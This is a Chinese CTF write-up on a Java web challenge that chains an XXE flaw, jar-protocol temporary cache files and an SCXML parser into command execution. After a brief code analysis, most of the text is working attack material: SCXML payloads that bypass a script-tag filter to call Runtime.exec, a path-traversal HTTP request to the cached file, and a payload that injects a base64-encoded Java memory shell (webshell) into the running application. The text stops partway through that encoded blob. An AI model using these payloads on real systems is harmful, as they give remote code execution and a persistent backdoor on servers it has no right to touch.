CTF-Web:xxe+jar协议缓存实现命令执行
lipiwang 2024-10-27 13:28 7 浏览 0 评论
0x01 代码分析
object方法
object方法通过@RequestParam注解获取object参数,然后根据该参数拼接出一个文件路径file:///home + object。接着调用check方法检查该文件是否存在 <script> 标签,如果存在则返回 X E , X E , XX E;
否则读取该文件并将其解析为SCXML状态机,然后执行该状态机并返回 `X ME
check方法
该方法用于检查文件中是否存在<script>标签。
首先通过DocumentBuilderFactory.newInstance()创建一个DocumentBuilderFactory实例,然后通过newDocumentBuilder()方法创建一个DocumentBuilder实例。
接着使用builder.parse(fileName)方法将文件解析为一个Document对象,最后通过getElementsByTagName("script")方法获取所有<script>标签元素并检查其数量,如果为0,则返回true,否则返回false。
xxe方法
xxe方法通过@RequestParam注解获取uri参数,然后使用DocumentBuilder将该参数解析为一个Document对象。接着遍历该Document对象的所有子节点,并将其文本内容连接起来返回。由于没有对解析出来的文本进行任何过滤或验证,因此存在XXE漏洞。
0x02 漏洞利用
- object方法中存在SCXML解析漏洞,攻击者可以通过object参数构造一个包含恶意SCXML状态机的文件,从而在服务器上执行任意代码。
- xxe方法中存在XXE漏洞,攻击者可以通过uri参数构造一个恶意XML文件,从而读取服务器上的任意文件。
通过xxe读取根目录,发现readflag,也可以列目录获取缓存文件地址:
通过jar协议缓存文件特点,通过工具使文件解压后不删除,通过xxe列目录获取tmp文件路径
https://github.com/pwntester/BlockingServer
构造命令执行,通过assign绕过script标签过滤:
- Payload
<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="state1">
<state id="state1">
<onentry>
<assign location="command" expr="''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'open -a calculator')" />
</onentry>
</state>
</scxml>
复制代码
- 目录穿越指定缓存文件
POST /object HTTP/1.1
Host: 192.168.2.42:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 126
object=../../../../../../../../../../private/var/folders/86/8qfmjpl965j4x4ykyk1sfkf80000gn/T/jar_cache12949212024815436877.tmp
复制代码
- 通过el表达式,注入内存马:
<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="state1">
<state id="state1">
<onentry>
<assign location="command" expr="''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval('var classLoader = java.lang.Thread.currentThread().getContextClassLoader();try{classLoader.loadClass(\'Injext\').newInstance();}catch (e){var clsString = classLoader.loadClass(\'java.lang.String\');var bytecodeBase64 = \'yv66vgAAADQArgoADQBcCABdCABeCgAGAF8IADUHAGAHAGEKAAYAYgcAYwgAZAcAZQoAZgBnBwBoCgBpAGoHAGsKAA8AbAoAZgBtBwBuCABvCwASAHAHAHEHAHIIAHMIAEUKAAYAdAoAdQBnCgB1AHYHAHcHAHgKAAYAeQoAHQB6CgB7AHwKAHsAfQcAfggAfwcAgAcASAkAgQCCCACDCgCBAIQKACIAhQoAHACGBwCHBwCIAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAhMSW5qZXh0OwEACDxjbGluaXQ+AQAYZ2V0V2ViQXBwbGljYXRpb25Db250ZXh0AQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAFlAQAhTGphdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb247AQAcUmVxdWVzdE1hcHBpbmdIYW5kbGVyTWFwcGluZwEAEUxqYXZhL2xhbmcvQ2xhc3M7AQAWYWJzdHJhY3RIYW5kbGVyTWFwcGluZwEAQExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L2hhbmRsZXIvQWJzdHJhY3RIYW5kbGVyTWFwcGluZzsBAB9EZWZhdWx0QW5ub3RhdGlvbkhhbmRsZXJNYXBwaW5nAQACZTIBACpMb3JnL3NwcmluZ2ZyYW1ld29yay9iZWFucy9CZWFuc0V4Y2VwdGlvbjsBABNSZXF1ZXN0Q29udGV4dFV0aWxzAQAHY29udGV4dAEAN0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L1dlYkFwcGxpY2F0aW9uQ29udGV4dDsBAAVmaWVsZAEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBABNhZGFwdGVkSW50ZXJjZXB0b3JzAQAVTGphdmEvdXRpbC9BcnJheUxpc3Q7AQAFYnl0ZXMBAAJbQgEAC2NsYXNzTG9hZGVyAQAXTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBAAJtMAEAA2I2NAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAFkxvY2FsVmFyaWFibGVUeXBlVGFibGUBABRMamF2YS9sYW5nL0NsYXNzPCo+OwEAKUxqYXZhL3V0aWwvQXJyYXlMaXN0PExqYXZhL2xhbmcvT2JqZWN0Oz47AQANU3RhY2tNYXBUYWJsZQcAgAcAYAcAYwcAiQcAbgcAcgcAcQcAhwEAClNvdXJjZUZpbGUBAAtJbmpleHQuamF2YQwALQAuATMkeXY2NnZnQUFBRFFDRGdvQWxBRUlDQUVKQ1FDVEFRb0lBSmNKQUpNQkN3Y0JEQW9BQmdFSUNnQUdBUTBLQUFZQkRnb0Frd0VQQ1FDVEFSQUlBUkVLQUJNQkVnZ0JFd29BRXdFVUNnRVZBUllLQUJVQkZ3Z0JHQWNCR1FjQkdnY0JHd2NBcXdjQkhBZ0JIUW9BRXdFZUNBRWZDQUVnQ2dFaEFTSUtBQlFCSXdvQUZBRWtDZ0VoQVNVSEFTWUtBU0VCSndvQUlBRW9DZ0FnQVNrS0FCUUJLZ2dCS3dnQkxBZ0JMUWdCTGdnQkx3c0JNQUV4Q0FFeUNnQVVBVE1IQVRRSEFUVUlBTG9IQVRZSEFUY0lBTHdJQVRnSUFNQUtBQlFCT1FnQk9nb0JPd0U4Q2dBVUFUMElBVDRLQUJRQlB3Z0JRQWdCUVFnQlFnY0JRd29CUkFGRkNnRkVBVVlLQVVjQlNBb0FQZ0ZKQ0FGS0NnQStBVXNLQUQ0QlRBb0FNQUZOQ2dGT0FVOElBVkFMQVRBQlVRZ0JVZ29BRkFGVEJ3RlVDZ0JNQVFnS0FDMEJWUWdBNlFvQVRBRldDQURyQ0FEWUN3RXdBVmNLQVZnQldRZ0JXZ29BRXdGYkNnRmNBVjBLQVZ3QlhnY0JYd2dBelFjQllBb0FXd0ZoQ0FEUkJ3RmlDZ0JlQVdNTEFXUUJaUXNCWmdGbkN3Rm1BV2dIQVdvTEFHTUJhd2dCYkFnQmJRb0FGQUZ1Q3dCakFXOEhBWEFLQUdrQmNRZ0JjZ29BYVFGekNBRjBDd0YxQVhZSUFYY0tBWGdCZVFjQmVnb0FjUUY3Q2dGNEFYd0lBWDBJQVg0SkFYOEJnQW9BRXdHQkNnRVZBVjBIQVlJS0FIa0JDQW9BZVFHRENnRjRBWVFLQVlVQmhnb0JoUUdIQ2dGL0FZZ0tBQlVCVXdnQmlRc0JNQUdLQ2dDVEFZc0tBSk1CakFrQWt3R05Cd0dPQndHUENnQ0dBWkFIQVpFSEFaSUtBSW9CQ0FzQmt3Rk5DZ0FVQVpRS0FVNEJsUW9BRlFFT0NnQ0tBWllLQUpNQmx3b0FGQUdZQndHWkJ3R2FBUUFDZUdNQkFCSk1hbUYyWVM5c1lXNW5MMU4wY21sdVp6c0JBQVJ3WVhOekFRQURiV1ExQVFBSGNHRjViRzloWkFFQUVVeHFZWFpoTDJ4aGJtY3ZRMnhoYzNNN0FRQUdQR2x1YVhRK0FRQURLQ2xXQVFBRVEyOWtaUUVBRDB4cGJtVk9kVzFpWlhKVVlXSnNaUUVBRWt4dlkyRnNWbUZ5YVdGaWJHVlVZV0pzWlFFQUJIUm9hWE1CQURoTWVYTnZjMlZ5YVdGc0wzQmhlV3h2WVdSekwzUmxiWEJzWVhSbGN5OVRjSEpwYm1kSmJuUmxjbU5sY0hSdmNsUmxiWEJzWVhSbE93RUFER0poYzJVMk5FUmxZMjlrWlFFQUZpaE1hbUYyWVM5c1lXNW5MMU4wY21sdVp6c3BXMElCQUFka1pXTnZaR1Z5QVFBU1RHcGhkbUV2YkdGdVp5OVBZbXBsWTNRN0FRQUdZbUZ6WlRZMEFRQUJaUUVBRlV4cVlYWmhMMnhoYm1jdlJYaGpaWEIwYVc5dU93RUFBbUp6QVFBRmRtRnNkV1VCQUFKYlFnRUFEVk4wWVdOclRXRndWR0ZpYkdVSEFSb0hBUndCQUFwRmVHTmxjSFJwYjI1ekFRQW1LRXhxWVhaaEwyeGhibWN2VTNSeWFXNW5PeWxNYW1GMllTOXNZVzVuTDFOMGNtbHVaenNCQUFGdEFRQWRUR3BoZG1FdmMyVmpkWEpwZEhrdlRXVnpjMkZuWlVScFoyVnpkRHNCQUFGekFRQURjbVYwQVFBTVltRnpaVFkwUlc1amIyUmxBUUFXS0Z0Q0tVeHFZWFpoTDJ4aGJtY3ZVM1J5YVc1bk93RUFCMFZ1WTI5a1pYSUJBQWx3Y21WSVlXNWtiR1VCQUdRb1RHcGhkbUY0TDNObGNuWnNaWFF2YUhSMGNDOUlkSFJ3VTJWeWRteGxkRkpsY1hWbGMzUTdUR3BoZG1GNEwzTmxjblpzWlhRdmFIUjBjQzlJZEhSd1UyVnlkbXhsZEZKbGMzQnZibk5sTzB4cVlYWmhMMnhoYm1jdlQySnFaV04wT3lsYUFRQUtaMlYwVW1WeGRXVnpkQUVBR2t4cVlYWmhMMnhoYm1jdmNtVm1iR1ZqZEM5TlpYUm9iMlE3QVFBTFoyVjBVbVZ6Y0c5dWMyVUJBQVJqYldSekFRQVRXMHhxWVhaaEwyeGhibWN2VTNSeWFXNW5Pd0VBQm5KbGMzVnNkQUVBQTJOdFpBRUFCRzVsZUhRQkFBVkZiblJ5ZVFFQURFbHVibVZ5UTJ4aGMzTmxjd0VBRlV4cVlYWmhMM1YwYVd3dlRXRndKRVZ1ZEhKNU93RUFDSEJoY21GdFMyVjVBUUFPY0dGeVlXMVdZV3gxWlV4cGMzUUJBQlZNYW1GMllTOTFkR2xzTDBGeWNtRjVUR2x6ZERzQkFBVm1hV1ZzWkFFQUdVeHFZWFpoTDJ4aGJtY3ZjbVZtYkdWamRDOUdhV1ZzWkRzQkFBdHlaV0ZzVW1WeGRXVnpkQUVBSjB4dmNtY3ZZWEJoWTJobEwyTmhkR0ZzYVc1aEwyTnZibTVsWTNSdmNpOVNaWEYxWlhOME93RUFFbU52ZVc5MFpWSmxjWFZsYzNSR2FXVnNaQUVBRFdOdmVXOTBaVkpsY1hWbGMzUUJBQnRNYjNKbkwyRndZV05vWlM5amIzbHZkR1V2VW1WeGRXVnpkRHNCQUFwd1lYSmhiV1YwWlhKekFRQW9URzl5Wnk5aGNHRmphR1V2ZEc5dFkyRjBMM1YwYVd3dmFIUjBjQzlRWVhKaGJXVjBaWEp6T3dFQUQzQmhjbUZ0U0dGemFGWmhiSFZsY3dFQUNIQmhjbUZ0VFdGd0FRQVpUR3BoZG1FdmRYUnBiQzlNYVc1clpXUklZWE5vVFdGd093RUFDR2wwWlhKaGRHOXlBUUFVVEdwaGRtRXZkWFJwYkM5SmRHVnlZWFJ2Y2pzQkFBdHdZV2RsUTI5dWRHVjRkQUVBRTB4cVlYWmhMM1YwYVd3dlNHRnphRTFoY0RzQkFBZHpaWE56YVc5dUFRQWdUR3BoZG1GNEwzTmxjblpzWlhRdmFIUjBjQzlJZEhSd1UyVnpjMmx2YmpzQkFBRnJBUUFCWXdFQUZVeHFZWFpoZUM5amNubHdkRzh2UTJsd2FHVnlPd0VBQm0xbGRHaHZaQUVBRG1WMmFXeGpiR0Z6YzE5aWVYUmxBUUFKWlhacGJHTnNZWE56QVFBT2RYSnNRMnhoYzNOTWIyRmtaWElCQUJsTWFtRjJZUzl1WlhRdlZWSk1RMnhoYzNOTWIyRmtaWEk3QVFBSlpHVm1UV1YwYUc5a0FRQUdZWEp5VDNWMEFRQWZUR3BoZG1FdmFXOHZRbmwwWlVGeWNtRjVUM1YwY0hWMFUzUnlaV0Z0T3dFQUFXWUJBQVJrWVhSaEFRQUxiR0Z6ZEZKbGNYVmxjM1FCQUF4c1lYTjBVbVZ6Y0c5dWMyVUJBQWR5WlhGMVpYTjBBUUFuVEdwaGRtRjRMM05sY25ac1pYUXZhSFIwY0M5SWRIUndVMlZ5ZG14bGRGSmxjWFZsYzNRN0FRQUljbVZ6Y0c5dWMyVUJBQ2hNYW1GMllYZ3ZjMlZ5ZG14bGRDOW9kSFJ3TDBoMGRIQlRaWEoyYkdWMFVtVnpjRzl1YzJVN0FRQUhhR0Z1Wkd4bGNnRUFGa3h2WTJGc1ZtRnlhV0ZpYkdWVWVYQmxWR0ZpYkdVQkFGSk1hbUYyWVM5MWRHbHNMMDFoY0NSRmJuUnllVHhNYW1GMllTOXNZVzVuTDFOMGNtbHVaenRNYW1GMllTOTFkR2xzTDBGeWNtRjVUR2x6ZER4TWFtRjJZUzlzWVc1bkwxTjBjbWx1WnpzK096NDdBUUFwVEdwaGRtRXZkWFJwYkM5QmNuSmhlVXhwYzNROFRHcGhkbUV2YkdGdVp5OVRkSEpwYm1jN1Bqc0JBR2hNYW1GMllTOTFkR2xzTDBsMFpYSmhkRzl5UEV4cVlYWmhMM1YwYVd3dlRXRndKRVZ1ZEhKNVBFeHFZWFpoTDJ4aGJtY3ZVM1J5YVc1bk8weHFZWFpoTDNWMGFXd3ZRWEp5WVhsTWFYTjBQRXhxWVhaaEwyeGhibWN2VTNSeWFXNW5PejQ3UGpzK093Y0JHd2NCbXdjQXZnY0JWQWNCbkFjQm1RY0JuUWNCbmdjQm53Y0JYd2NCWUFjQm9BY0JZZ2NCb1FjQmFnY0JjQUVBQVhnQkFBY29XMEphS1Z0Q0FRQUJXZ2NCb2dFQUNsTnZkWEpqWlVacGJHVUJBQjVUY0hKcGJtZEpiblJsY21ObGNIUnZjbFJsYlhCc1lYUmxMbXBoZG1FTUFKc0FuQUVBRUdZMU5XVXlOemMwTmpnNE5HRTBZbVFNQUpVQWxnd0Fsd0NXQVFBWGFtRjJZUzlzWVc1bkwxTjBjbWx1WjBKMWFXeGtaWElNQWFNQnBBd0JwUUdtREFDWUFMQU1BSmdBbGdFQUVHcGhkbUV1ZFhScGJDNUNZWE5sTmpRTUFhY0JxQUVBQ21kbGRFUmxZMjlrWlhJTUFha0JxZ2NCbXd3QnF3R3NEQUd0QWE0QkFBWmtaV052WkdVQkFBOXFZWFpoTDJ4aGJtY3ZRMnhoYzNNQkFCQnFZWFpoTDJ4aGJtY3ZVM1J5YVc1bkFRQVFhbUYyWVM5c1lXNW5MMDlpYW1WamRBRUFFMnBoZG1FdmJHRnVaeTlGZUdObGNIUnBiMjRCQUJaemRXNHViV2x6WXk1Q1FWTkZOalJFWldOdlpHVnlEQUd2QWJBQkFBeGtaV052WkdWQ2RXWm1aWElCQUFOTlJEVUhBYkVNQWJJQnN3d0J0QUcxREFHMkFiY01BYmdCdVFFQUZHcGhkbUV2YldGMGFDOUNhV2RKYm5SbFoyVnlEQUc2QWJVTUFKc0J1d3dCcFFHOERBRzlBYVlCQUFwblpYUkZibU52WkdWeUFRQU9aVzVqYjJSbFZHOVRkSEpwYm1jQkFCWnpkVzR1Yldsell5NUNRVk5GTmpSRmJtTnZaR1Z5QVFBR1pXNWpiMlJsQVFBSFVtVm1aWEpsY2djQm5Rd0J2Z0N3QVFBWGFIUjBjSE02THk5M2QzY3VaMjl2WjJ4bExtTnZiUzhNQWI4QndBRUFLMjl5Wnk5aGNHRmphR1V2WTJGMFlXeHBibUV2WTI5dWJtVmpkRzl5TDFKbGNYVmxjM1JHWVdOaFpHVUJBQ05xWVhaaGVDOXpaWEoyYkdWMEwxTmxjblpzWlhSU1pYRjFaWE4wVjNKaGNIQmxjZ0VBTEc5eVp5OWhjR0ZqYUdVdlkyRjBZV3hwYm1FdlkyOXVibVZqZEc5eUwxSmxjM0J2Ym5ObFJtRmpZV1JsQVFBa2FtRjJZWGd2YzJWeWRteGxkQzlUWlhKMmJHVjBVbVZ6Y0c5dWMyVlhjbUZ3Y0dWeUFRQU5lQzFqYkdsbGJuUXRaR0YwWVF3QndRSENBUUFIYjNNdWJtRnRaUWNCd3d3QnhBQ3dEQUhGQWFZQkFBTjNhVzRNQWNZQnh3RUFBaTlqQVFBSkwySnBiaTlpWVhOb0FRQUNMV01CQUJGcVlYWmhMM1YwYVd3dlUyTmhibTVsY2djQnlBd0J5UUhLREFITEFjd0hBYzBNQWM0Qnp3d0Ftd0hRQVFBQ1hFRU1BZEVCMGd3QXdRR21EQUhUQWRRSEFkVU1BZFlCMXdFQUNISmxZbVY1YjI1a0RBR3BBYVlCQUFSUVQxTlVEQUhZQWRrQkFCRnFZWFpoTDNWMGFXd3ZTR0Z6YUUxaGNBd0IyZ0hiREFIY0FkME1BZDRCM3djQjRBd0I0UUdtQVFBQURBSGlBZU1IQVo4TUFlUUI1UXdCNWdIbkFRQWxiM0puTDJGd1lXTm9aUzlqWVhSaGJHbHVZUzlqYjI1dVpXTjBiM0l2VW1WeGRXVnpkQUVBR1c5eVp5OWhjR0ZqYUdVdlkyOTViM1JsTDFKbGNYVmxjM1FNQWVnQjZRRUFGMnBoZG1FdmRYUnBiQzlNYVc1clpXUklZWE5vVFdGd0RBSHFBZXNIQWV3TUFOUUI3UWNCb1F3QjdnSENEQURCQWJBSEFlOEJBQk5xWVhaaEwzVjBhV3d2VFdGd0pFVnVkSEo1REFId0FiQUJBQUVnQVFBQkt3d0I4UUh5REFIekFiQUJBQk5xWVhaaEwzVjBhV3d2UVhKeVlYbE1hWE4wREFIMEFiY0JBQUU5REFIbUFmVUJBQUYxQndHY0RBSDJBZmNCQUFOQlJWTUhBYUlNQWJJQitBRUFIMnBoZG1GNEwyTnllWEIwYnk5emNHVmpMMU5sWTNKbGRFdGxlVk53WldNTUFKc0IrUXdCK2dIN0FRQVZhbUYyWVM1c1lXNW5Ma05zWVhOelRHOWhaR1Z5QVFBTFpHVm1hVzVsUTJ4aGMzTUhBZndNQWYwQW1nd0IvZ0dxQVFBV2MzVnVMMjFwYzJNdlFrRlRSVFkwUkdWamIyUmxjZ3dCSHdDakRBSC9BZ0FIQWdFTUFnSUNBd3dDQkFJRkRBSUdBZ2NCQUFobmIyUjZhV3hzWVF3Q0NBQ3dEQUNpQUtNTUFRSUJBd3dBbVFDYUFRQVhhbUYyWVM5dVpYUXZWVkpNUTJ4aGMzTk1iMkZrWlhJQkFBeHFZWFpoTDI1bGRDOVZVa3dNQUpzQ0NRRUFGV3BoZG1FdmJHRnVaeTlEYkdGemMweHZZV1JsY2dFQUhXcGhkbUV2YVc4dlFubDBaVUZ5Y21GNVQzVjBjSFYwVTNSeVpXRnRCd0dlREFJS0Fnc01BZ3dCMXd3Q0RRRzFEQUMxQUxZTUFnb0J2QUVBTm5semIzTmxjbWxoYkM5d1lYbHNiMkZrY3k5MFpXMXdiR0YwWlhNdlUzQnlhVzVuU1c1MFpYSmpaWEIwYjNKVVpXMXdiR0YwWlFFQVFXOXlaeTl6Y0hKcGJtZG1jbUZ0WlhkdmNtc3ZkMlZpTDNObGNuWnNaWFF2YUdGdVpHeGxjaTlJWVc1a2JHVnlTVzUwWlhKalpYQjBiM0pCWkdGd2RHVnlBUUFZYW1GMllTOXNZVzVuTDNKbFpteGxZM1F2VFdWMGFHOWtBUUFlYW1GMllYZ3ZjMlZ5ZG14bGRDOW9kSFJ3TDBoMGRIQlRaWE56YVc5dUFRQWxhbUYyWVhndmMyVnlkbXhsZEM5b2RIUndMMGgwZEhCVFpYSjJiR1YwVW1WeGRXVnpkQUVBSm1waGRtRjRMM05sY25ac1pYUXZhSFIwY0M5SWRIUndVMlZ5ZG14bGRGSmxjM0J2Ym5ObEFRQVhhbUYyWVM5c1lXNW5MM0psWm14bFkzUXZSbWxsYkdRQkFDWnZjbWN2WVhCaFkyaGxMM1J2YldOaGRDOTFkR2xzTDJoMGRIQXZVR0Z5WVcxbGRHVnljd0VBRW1waGRtRXZkWFJwYkM5SmRHVnlZWFJ2Y2dFQUUycGhkbUY0TDJOeWVYQjBieTlEYVhCb1pYSUJBQVpoY0hCbGJtUUJBQzBvVEdwaGRtRXZiR0Z1Wnk5VGRISnBibWM3S1V4cVlYWmhMMnhoYm1jdlUzUnlhVzVuUW5WcGJHUmxjanNCQUFoMGIxTjBjbWx1WndFQUZDZ3BUR3BoZG1FdmJHRnVaeTlUZEhKcGJtYzdBUUFIWm05eVRtRnRaUUVBSlNoTWFtRjJZUzlzWVc1bkwxTjBjbWx1WnpzcFRHcGhkbUV2YkdGdVp5OURiR0Z6Y3pzQkFBbG5aWFJOWlhSb2IyUUJBRUFvVEdwaGRtRXZiR0Z1Wnk5VGRISnBibWM3VzB4cVlYWmhMMnhoYm1jdlEyeGhjM003S1V4cVlYWmhMMnhoYm1jdmNtVm1iR1ZqZEM5TlpYUm9iMlE3QVFBR2FXNTJiMnRsQVFBNUtFeHFZWFpoTDJ4aGJtY3ZUMkpxWldOME8xdE1hbUYyWVM5c1lXNW5MMDlpYW1WamREc3BUR3BoZG1FdmJHRnVaeTlQWW1wbFkzUTdBUUFJWjJWMFEyeGhjM01CQUJNb0tVeHFZWFpoTDJ4aGJtY3ZRMnhoYzNNN0FRQUxibVYzU1c1emRHRnVZMlVCQUJRb0tVeHFZWFpoTDJ4aGJtY3ZUMkpxWldOME93RUFHMnBoZG1FdmMyVmpkWEpwZEhrdlRXVnpjMkZuWlVScFoyVnpkQUVBQzJkbGRFbHVjM1JoYm1ObEFRQXhLRXhxWVhaaEwyeGhibWN2VTNSeWFXNW5PeWxNYW1GMllTOXpaV04xY21sMGVTOU5aWE56WVdkbFJHbG5aWE4wT3dFQUNHZGxkRUo1ZEdWekFRQUVLQ2xiUWdFQUJteGxibWQwYUFFQUF5Z3BTUUVBQm5Wd1pHRjBaUUVBQnloYlFrbEpLVllCQUFaa2FXZGxjM1FCQUFZb1NWdENLVllCQUJVb1NTbE1hbUYyWVM5c1lXNW5MMU4wY21sdVp6c0JBQXQwYjFWd2NHVnlRMkZ6WlFFQUNXZGxkRWhsWVdSbGNnRUFFR1Z4ZFdGc2MwbG5ibTl5WlVOaGMyVUJBQlVvVEdwaGRtRXZiR0Z1Wnk5VGRISnBibWM3S1ZvQkFBZHBjMFZ0Y0hSNUFRQURLQ2xhQVFBUWFtRjJZUzlzWVc1bkwxTjVjM1JsYlFFQUMyZGxkRkJ5YjNCbGNuUjVBUUFMZEc5TWIzZGxja05oYzJVQkFBaGpiMjUwWVdsdWN3RUFHeWhNYW1GMllTOXNZVzVuTDBOb1lYSlRaWEYxWlc1alpUc3BXZ0VBRVdwaGRtRXZiR0Z1Wnk5U2RXNTBhVzFsQVFBS1oyVjBVblZ1ZEdsdFpRRUFGU2dwVEdwaGRtRXZiR0Z1Wnk5U2RXNTBhVzFsT3dFQUJHVjRaV01CQUNnb1cweHFZWFpoTDJ4aGJtY3ZVM1J5YVc1bk95bE1hbUYyWVM5c1lXNW5MMUJ5YjJObGMzTTdBUUFSYW1GMllTOXNZVzVuTDFCeWIyTmxjM01CQUE1blpYUkpibkIxZEZOMGNtVmhiUUVBRnlncFRHcGhkbUV2YVc4dlNXNXdkWFJUZEhKbFlXMDdBUUFZS0V4cVlYWmhMMmx2TDBsdWNIVjBVM1J5WldGdE95bFdBUUFNZFhObFJHVnNhVzFwZEdWeUFRQW5LRXhxWVhaaEwyeGhibWN2VTNSeWFXNW5PeWxNYW1GMllTOTFkR2xzTDFOallXNXVaWEk3QVFBSloyVjBWM0pwZEdWeUFRQVhLQ2xNYW1GMllTOXBieTlRY21sdWRGZHlhWFJsY2pzQkFCTnFZWFpoTDJsdkwxQnlhVzUwVjNKcGRHVnlBUUFIY0hKcGJuUnNiZ0VBRlNoTWFtRjJZUzlzWVc1bkwxTjBjbWx1WnpzcFZnRUFCbVZ4ZFdGc2N3RUFGU2hNYW1GMllTOXNZVzVuTDA5aWFtVmpkRHNwV2dFQUNtZGxkRk5sYzNOcGIyNEJBQ0lvS1V4cVlYWmhlQzl6WlhKMmJHVjBMMmgwZEhBdlNIUjBjRk5sYzNOcGIyNDdBUUFEY0hWMEFRQTRLRXhxWVhaaEwyeGhibWN2VDJKcVpXTjBPMHhxWVhaaEwyeGhibWN2VDJKcVpXTjBPeWxNYW1GMllTOXNZVzVuTDA5aWFtVmpkRHNCQUFsblpYUlNaV0ZrWlhJQkFCb29LVXhxWVhaaEwybHZMMEoxWm1abGNtVmtVbVZoWkdWeU93RUFGbXBoZG1FdmFXOHZRblZtWm1WeVpXUlNaV0ZrWlhJQkFBaHlaV0ZrVEdsdVpRRUFFR2RsZEVSbFkyeGhjbVZrUm1sbGJHUUJBQzBvVEdwaGRtRXZiR0Z1Wnk5VGRISnBibWM3S1V4cVlYWmhMMnhoYm1jdmNtVm1iR1ZqZEM5R2FXVnNaRHNCQUExelpYUkJZMk5sYzNOcFlteGxBUUFFS0ZvcFZnRUFBMmRsZEFFQUppaE1hbUYyWVM5c1lXNW5MMDlpYW1WamREc3BUR3BoZG1FdmJHRnVaeTlQWW1wbFkzUTdBUUFOWjJWMFVHRnlZVzFsZEdWeWN3RUFLaWdwVEc5eVp5OWhjR0ZqYUdVdmRHOXRZMkYwTDNWMGFXd3ZhSFIwY0M5UVlYSmhiV1YwWlhKek93RUFDR1Z1ZEhKNVUyVjBBUUFSS0NsTWFtRjJZUzkxZEdsc0wxTmxkRHNCQUExcVlYWmhMM1YwYVd3dlUyVjBBUUFXS0NsTWFtRjJZUzkxZEdsc0wwbDBaWEpoZEc5eU93RUFCMmhoYzA1bGVIUUJBQTFxWVhaaEwzVjBhV3d2VFdGd0FRQUdaMlYwUzJWNUFRQUtjbVZ3YkdGalpVRnNiQUVBT0NoTWFtRjJZUzlzWVc1bkwxTjBjbWx1Wnp0TWFtRjJZUzlzWVc1bkwxTjBjbWx1WnpzcFRHcGhkbUV2YkdGdVp5OVRkSEpwYm1jN0FRQUlaMlYwVm1Gc2RXVUJBQVJ6YVhwbEFRQVZLRWtwVEdwaGRtRXZiR0Z1Wnk5UFltcGxZM1E3QVFBSWNIVjBWbUZzZFdVQkFDY29UR3BoZG1FdmJHRnVaeTlUZEhKcGJtYzdUR3BoZG1FdmJHRnVaeTlQWW1wbFkzUTdLVllCQUNrb1RHcGhkbUV2YkdGdVp5OVRkSEpwYm1jN0tVeHFZWFpoZUM5amNubHdkRzh2UTJsd2FHVnlPd0VBRnloYlFreHFZWFpoTDJ4aGJtY3ZVM1J5YVc1bk95bFdBUUFFYVc1cGRBRUFGeWhKVEdwaGRtRXZjMlZqZFhKcGRIa3ZTMlY1T3lsV0FRQVJhbUYyWVM5c1lXNW5MMGx1ZEdWblpYSUJBQVJVV1ZCRkFRQVJaMlYwUkdWamJHRnlaV1JOWlhSb2IyUUJBQWRrYjBacGJtRnNBUUFHS0Z0Q0tWdENBUUFRYW1GMllTOXNZVzVuTDFSb2NtVmhaQUVBRFdOMWNuSmxiblJVYUhKbFlXUUJBQlFvS1V4cVlYWmhMMnhoYm1jdlZHaHlaV0ZrT3dFQUZXZGxkRU52Ym5SbGVIUkRiR0Z6YzB4dllXUmxjZ0VBR1NncFRHcGhkbUV2YkdGdVp5OURiR0Z6YzB4dllXUmxjanNCQUFkMllXeDFaVTltQVFBV0tFa3BUR3BoZG1FdmJHRnVaeTlKYm5SbFoyVnlPd0VBREdkbGRGQmhjbUZ0WlhSbGNnRUFLU2hiVEdwaGRtRXZibVYwTDFWU1REdE1hbUYyWVM5c1lXNW5MME5zWVhOelRHOWhaR1Z5T3lsV0FRQUpjM1ZpYzNSeWFXNW5BUUFXS0VsSktVeHFZWFpoTDJ4aGJtY3ZVM1J5YVc1bk93RUFCWGR5YVhSbEFRQUxkRzlDZVhSbFFYSnlZWGtBSVFDVEFKUUFBQUFFQUFBQWxRQ1dBQUFBQUFDWEFKWUFBQUFBQUpnQWxnQUFBQUFBbVFDYUFBQUFCZ0FCQUpzQW5BQUJBSjBBQUFCbUFBTUFBUUFBQURBcXR3QUJLaElDdFFBREtoSUV0UUFGS3JzQUJsbTNBQWNxdEFBRnRnQUlLclFBQTdZQUNMWUFDYmdBQ3JVQUM3RUFBQUFDQUo0QUFBQVNBQVFBQUFBWEFBUUFHUUFLQUJvQUVBQWJBSjhBQUFBTUFBRUFBQUF3QUtBQW9RQUFBQWtBb2dDakFBSUFuUUFBQVVvQUJnQUZBQUFBZUFGTkVneTRBQTFNS3hJT0FiWUFEeXNCdGdBUVRpMjJBQkVTRWdTOUFCTlpBeElVVTdZQUR5MEV2UUFWV1FNcVU3WUFFTUFBRnNBQUZrMm5BRHhPRWhpNEFBMU1LN1lBR1RvRUdRUzJBQkVTR2dTOUFCTlpBeElVVTdZQUR4a0VCTDBBRlZrREtsTzJBQkRBQUJiQUFCWk5wd0FGT2dRc3NBQUNBQUlBT2dBOUFCY0FQZ0J4QUhRQUZ3QURBSjRBQUFBeUFBd0FBQUFnQUFJQUlnQUlBQ01BRlFBa0FEb0FMQUE5QUNVQVBnQW5BRVFBS0FCS0FDa0FjUUFyQUhRQUtnQjJBQzBB